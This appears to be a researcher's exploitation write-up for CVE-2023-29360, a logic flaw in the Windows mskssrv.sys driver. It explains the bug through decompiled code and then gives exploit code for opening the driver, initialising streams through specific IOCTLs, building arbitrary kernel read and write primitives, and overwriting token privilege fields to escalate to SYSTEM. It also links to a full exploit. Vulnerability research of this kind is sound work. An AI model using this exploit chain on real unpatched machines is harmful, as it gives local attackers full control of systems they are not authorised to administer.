# mskssrv.sys - CVE-2023–29360

Bug CVE : CVE-2023–29360

Bug type : Logical bug leading to LPE

Integrity needed : Medium for kernel address leak

Tested on : Windows 10

Vulnerable Driver : `mskssrv.sys`

## Bug Details

This is a logical bug arising in function `FsAllocAndLockMdl` inside `mskssrv.sys` driver in windows.

```cpp
NTSTATUS __fastcall FsAllocAndLockMdl(void *AddressPtr, ULONG Length, struct _MDL **OutputMdl)
{
  NTSTATUS v4; // edi
  struct _MDL *Mdl; // rax
  struct _MDL *v6; // rbx

  v4 = 0;
  if ( !AddressPtr || !Length || !OutputMdl )
    return STATUS_INVALID_PARAMETER;
  Mdl = IoAllocateMdl(AddressPtr, Length, 0, 0, 0i64);
  v6 = Mdl;
  if ( !Mdl )
    return STATUS_INSUFFICIENT_RESOURCES;
  MmProbeAndLockPages(Mdl, KernelMode, IoWriteAccess);
  *OutputMdl = v6;
  return v4;
}
```

This is the vulnerable code snippet that is responsible for the bug. As visible, the function is responsible for creating a `MDL` from the `AddressPtr` which is later passed to `MmProbeAndLockPages`. This probing is done on `KernelMode` rather than being done via `UserMode`. This implies that that we can create a MDL based on arbitrary address and there would be **no validation** done since `KernelMode` is specified.&#x20;

Looking at the implementation of `MmProbeAndLockPages`,we can confirm this&#x20;

<figure><img src="https://1804885456-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo3S6x9y21ea77Yw303B%2Fuploads%2FAL9tv93pYrfKSEGnDYEa%2Fimage.png?alt=media&#x26;token=8b57c1a7-577d-4337-8d5f-f8084eb2c99c" alt=""><figcaption><p>MmProbeAndLockPages</p></figcaption></figure>

If `AccessMode` is 0, then no check is done since the condition is evaluated to be false. AccessMode is 0 for kernel and 1 for Usermode.

### Understanding MDL

MDL or **Memory Descriptor List** in windows is used by kernel to describe the physical page layout for a Virtual address. MDL is a opaque structure where `StartVa` member points to the Virtual Address associated with the MDL. More details on MDL can be found [here](https://big5-sec.github.io/posts/CVE-2023-29360-analysis/) and [here](https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/using-mdls).

Looking at `IoAllocateMdl`, it simply creates a MDL structure on the basis of values passed to it

<figure><img src="https://1804885456-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo3S6x9y21ea77Yw303B%2Fuploads%2FpXARFH9TdYKOWI7EQZcx%2Fimage.png?alt=media&#x26;token=b6b503ef-a889-4f10-acf3-b9b44695eee2" alt=""><figcaption><p>IoAllocateMdl</p></figcaption></figure>

There is no check for `StartVa` member and hence arbitrary virtual address can be passed to it. Next, after the obtaining the MDL structure, the function passes it into `MmProbeAndLockPages` which will lock the MDL's `StartVa` and make sure its not paged out while driver is still operating on the data. Notice that `IoWriteAccess` is supplied to it which means that it allows write operation on the mapped MDL's `StartVa` member.

Now we know can we can create a arbitrary MDL. Lets see what more can be done with the MDL. Looking at xrefs of the MDL, we can see that its only being used inside `FSFrameMdl::MapPages` function.&#x20;

<figure><img src="https://1804885456-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo3S6x9y21ea77Yw303B%2Fuploads%2FwiWrOkKf4WudCtUNyTDw%2Fimage.png?alt=media&#x26;token=0b7b8971-2549-46e9-9291-0a9d9ba4272d" alt=""><figcaption><p>this->Mdl1/2 contains the MDL containing the arbitrary StartVa</p></figcaption></figure>

Looking at `FsMapLockedPages`, we can see that it allows us to map the MDL into the process calling the driver.&#x20;

```cpp
NTSTATUS __fastcall FsMapLockedPages(struct _MDL *Mdl, ULONG Priority, PVOID *a3)
{
  NTSTATUS v3; // ebx

  v3 = 0;
  if ( !Mdl || !a3 )
    return STATUS_INVALID_PARAMETER;
  *a3 = 0i64;
  *a3 = MmMapLockedPagesSpecifyCache(Mdl, UserMode, MmCached, 0i64, 0, Priority);
  return v3;
}
```

Looking at MmMapLockedPagesSpecifyCache, we see that the last argument to this function is a ULONG that denotes the Priority. If the priority is MdlMappingNoWrite i.e 0x80000000 , the the Virtual Address pointed by the MDL is mapped as Read Only. This means, that we need to select the right code branch that can allow us a control over Priority as well.&#x20;

There are 2 code branches possible here.&#x20;

<figure><img src="https://1804885456-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo3S6x9y21ea77Yw303B%2Fuploads%2F6vKMk5QmV7cTfR1Z3hLF%2Fimage.png?alt=media&#x26;token=5cf1132f-6361-4fd3-a045-4096758c74de" alt=""><figcaption><p>Possible Code branches to map MDL's VirtualAddr</p></figcaption></figure>

For the second branch, the Priority is hardcoded 0xC0000010 which means a Priority flag of MdlMappingNoWrite | NormalPagePriority | MdlMappingNoExecute . This implies that we need to select the first branch since the second one is mapped as Read Only.

## Exploitation

Now that we have everything figured, out lets break the exploitation steps into multiple steps :-

### Step 1 : Connecting to the vulnerable driver

We know that the vulnerable driver is here `mskssrv.sys` but, lets figure out how to connect to the driver.

I was out of idea on this as to how to connect to the driver since it was not working via default connection strings like `\\\\.\\Device\\mskssrv`. Eventually I created a breakpoint on `FSStreamReg::PublishTx` and various other functions. Upon starting the camera, we see that the requests are coming from a DLL called `frameServer.dll` . Lets reverse the DLL to figure out how is it creating the driver handle.&#x20;

<figure><img src="https://1804885456-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo3S6x9y21ea77Yw303B%2Fuploads%2FzzigGfYsrzRymmFj2Jl8%2Fimage.png?alt=media&#x26;token=63d3ee28-ea14-4c4e-8a31-cd9b58cff95d" alt=""><figcaption><p>frameServer.dll call stack</p></figcaption></figure>

Reversing the `frameServer.dll` , we see a function called `FSGetMSKSSrvHandle` which creates a call to `CreateFileW` and uses the handle returned by it for further driver communication. Lets create a breakpoint on the same functionality to dump the file parameter passed to CreateFile.

We switch to WindowsCamera.exe process and wait for the breakpoint to be reached.&#x20;

<figure><img src="https://1804885456-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo3S6x9y21ea77Yw303B%2Fuploads%2FOlLlMCtt8Sg8x7e69fRy%2Fimage.png?alt=media&#x26;token=76483324-5b6c-4319-aaa7-8409ab767ffd" alt=""><figcaption><p>lpFileName</p></figcaption></figure>

Now, that we have the file name, we can now talk to the driver.

```cpp
bool Driver::SendDataToDriver(int ioctl_code,
                              PVOID buffer,
                              size_t buffer_len,
                              PVOID OutBuffer,
                              size_t out_buffer_len) {
   
   LPCWSTR lpFileName =
        L"\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-"
        L"00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}";
   
   HANDLE hDevice = CreateFileW(lpFileName, GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING,
                          FILE_ATTRIBUTE_NORMAL, nullptr);

    NTSTATUS status = -1;
    status = DeviceIoControl(hDevice, ioctl_code, buffer, buffer_len, OutBuffer, out_buffer_len,
                             nullptr, nullptr)
}
```

### Step 2 : Create GlobalRendezvous

To create a MDL, we need to use `PublishTx` function in mskssrv. While reversing the driver, we found that there is a global variable called FSInitializeContextRendezvous that needs to be initialized before anything is executed.

While reversing, we see that there is a global Rendezvous object that is being checked before any operation. So in order to perform any operation, we need to initialize the GlobalRendezvous object.

<figure><img src="https://1804885456-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo3S6x9y21ea77Yw303B%2Fuploads%2FUY1Bjjiublp395hHxSvT%2Fimage.png?alt=media&#x26;token=713870de-fc7d-41b3-8c3c-a45dde080ccd" alt=""><figcaption><p>Check for GlobalRendezvous object</p></figcaption></figure>

The below code would initialize the GlobalRendezvous object.

```cpp
bool Bug::InitializeGlobalRendezvous() {
    auto* stream_data = static_cast<_FSStreamRegInfo*>(malloc(sizeof(_FSStreamRegInfo)));
    memset(stream_data, 0x0, sizeof(_FSStreamRegInfo));
    HANDLE hEvent = CreateEvent(nullptr, NULL, NULL, nullptr);
    stream_data->ObjectHandle = hEvent;
    stream_data->q2 = GetCurrentProcessId();
    stream_data->q1 = 0x5;
    stream_data->f2 = 0x50;
    stream_data->q5 = 0x20000;
    stream_data->q3 = 1;

    SendDataToDriver(0x2f0400, stream_data, sizeof(_FSStreamRegInfo);
}
```

### Step 3 : Read Primitive&#x20;

The below execution flow is used to create a read primitive.&#x20;

```cpp
uint64_t ReadPrimitive(uint64_t where) {
    // Initialize Stream
    bool status = false;
    if (poc::once) {
        poc_.InitializeStream();
    }

    // PublishTx
    status = poc_.PublishTx(where);

    // Register Stream
    if (poc::once) {
        poc_.RegisterStream();
        poc::once = false;
    }

    // ConsumeTx
    poc_.ConsumeTx();

    // DrainTx
    poc_.DrainTx();

    return *reinterpret_cast<uint64_t*>(poc_.GetMappedAddr());
}
```

We first initialize a stream. There would be a single stream binded to a device handle. This implies that we need to execute `InitializeStream` and `RegisterStream` once per device handle. Refer to the exploit code on how to create such requests.&#x20;

`PublishTx` function is responsible for creating a MDL with arbitrary virtual address while `ConsumeTx` function is responsible for mapping the virtual address stored in the MDL in the user process creating the driver call. Note that we need both `VirtualAddress1` and `VirtualAddress2` for the IOCTL code to work.&#x20;

Another thing to note here is that we pass `0xffffffff00000008` as the value for the `switch_case` variable. This variable is used to direct the flow to right switch branch along with a controlled value over Priority field for mapping.

<figure><img src="https://1804885456-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo3S6x9y21ea77Yw303B%2Fuploads%2FWLIv0OHRkOJozas4VMVk%2Fimage.png?alt=media&#x26;token=c51867de-8e12-4f5e-95e3-81c0ab976d23" alt=""><figcaption><p>ConsumeTx</p></figcaption></figure>

The switch\_case value passed to `PublishTx` is accessed in `ConsumeTx` when the MDL is about to be mapped inside the user address space.&#x20;

For a value of `0xffffffff00000008`, the switch\_case branches out on the 32 bit LSB which in our case is 8. The priority on other hand is decided by full 64 bit value which after computation becomes `0x40000010` which is OR operation of `MdlMappingNoExecute | NormalPagePriority` which implies that the page is mapped for write operations as well.

Refer to the exploit code on how to create requests for ConsumeTx, PublishTx and DrainTx.

### Step 4 : Write Primitive

The below execution flow allows for write primitive :-

```cpp
void WritePrimitive(uint64_t What, uint64_t Where) {
    // PublishTx
    poc_.PublishTx(Where);

    // ConsumeTx
    poc_.ConsumeTx();

    // DrainTx
    poc_.DrainTx();

    *reinterpret_cast<uint64_t*>(poc_.GetMappedAddr()) = What;
}
```

We don't execute `InitializeStream` and `RegisterStream` since by the time it reaches the Write Primitive, read primitive would be executed first and the mentioned functions would already be executed.&#x20;

We use the same technique that we used for Read Primitive since the address is mapped with read and write.

### \_TOKEN structure&#x20;

The token structure contains fields from 0x40 that indicate the privileges associated with the token.&#x20;

```
+0x40 Present          : Uint8B
+0x48 Enabled          : Uint8B
+0x50 EnabledByDefault : Uint8B
```

To escalate privileges via write primitive, we can simply overwrite the fields at offset 0x40, 0x48 and 0x50 with the values that are present in the \_TOKEN of system process.

Note : The \_TOKEN address obtained via any means should have the last bit set to 0. So simply AND the address with `0xfffffffffffffff0`

### Time wasted on :-

The below are the pointers where I wasted lot of time on silly mistakes.

* While reversing, I figured out that we need to execute both `InitializeStream` and `RegisterStream` functions but I was not able to execute both the functions on a single driver handle. This lead me to realize that we need 2 driver handles. One driver handle would be responsible for creating `InitializeStream` and another one would be responsible for creating `RegisterStream`. If our main driver handle is say `driver1_` , then InitializeStream needs to be done on handle1\_ while RegisterStream needs to be done on driver2\_.

The reason for this is because of a check in ConsumeTx shown below :

<figure><img src="https://1804885456-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo3S6x9y21ea77Yw303B%2Fuploads%2FO71YlZMG5Xl9mX77KwIt%2Fimage.png?alt=media&#x26;token=81b0296e-fb35-4d50-8ce0-c5c3b0798b6a" alt=""><figcaption><p>Make sure stream is registered</p></figcaption></figure>

The variable g4 is initialized to 1 only in `RegisterStream` function in mskssrv driver. As shown below, the driver fetches the stream pointer from a list and sets `g4` structure member to 1

<figure><img src="https://1804885456-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo3S6x9y21ea77Yw303B%2Fuploads%2FGhTKPNufPdVoZ6Qaph1e%2Fimage.png?alt=media&#x26;token=a22d4e05-56b7-4f43-a74c-80eca15f9f01" alt=""><figcaption><p>Register stream</p></figcaption></figure>

The reason we were not able to use the same driver handle is because of this check in RegisterStream operation

```
 ...
  if ( CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode != 0x2F0420
    || CurrentStackLocation->FileObject->FsContext2 )
  {
    return STATUS_INVALID_DEVICE_REQUEST;
  }
  ...
```

The FsContext2 is set for a IRP that corresponds to a single driver handle. This means that if we create a new driver handle, then `FsContext2` by default will be null and this check would be passed and hence the need to create a new driver handle.

* Given the read write primitives, I wanted to use less number of read and writes. This means that traversing the eprocess linked list in kernel is not a feasible approach since this would be multiple reads. Reading about few techniques, I found this [blackhat](http://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf) paper.&#x20;

I decided to use the `OpenProcessToken` approach. OpenProcessToken returns a token handle that can be used along with `NtQuerySystemInformation` to obtain the kernel address of the \_TOKEN object. I wasted lot of time trying to understand why the Token address returned via above method was not same to the token address obtained via `_EPROCESS` structure from debugger.

Eventually I realized that I was looking at wrong process. The exploit process would be a child process of cmd.exe and as such we need to find the `_EPROCESS` of the exploit process rather than cmd.exe and then calculate the value. The Token address returned via \_EPROCESS would be same as the one obtained via previous method. A stupid mistake :smile:

Full exploit can be found at [Github](https://github.com/0xDivyanshu-new/CVE-2023-29360/).

### References :-

* BlackHat paper on methods for token based privilge escalation : [here](http://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf)
* A awesome blog on the bug by yar-eb [here](https://big5-sec.github.io/posts/CVE-2023-29360-analysis/)
* Theori blog for a detailed analysis [here](https://blog.theori.io/chaining-n-days-to-compromise-all-part-3-windows-driver-lpe-medium-to-system-12f7821d97bb).
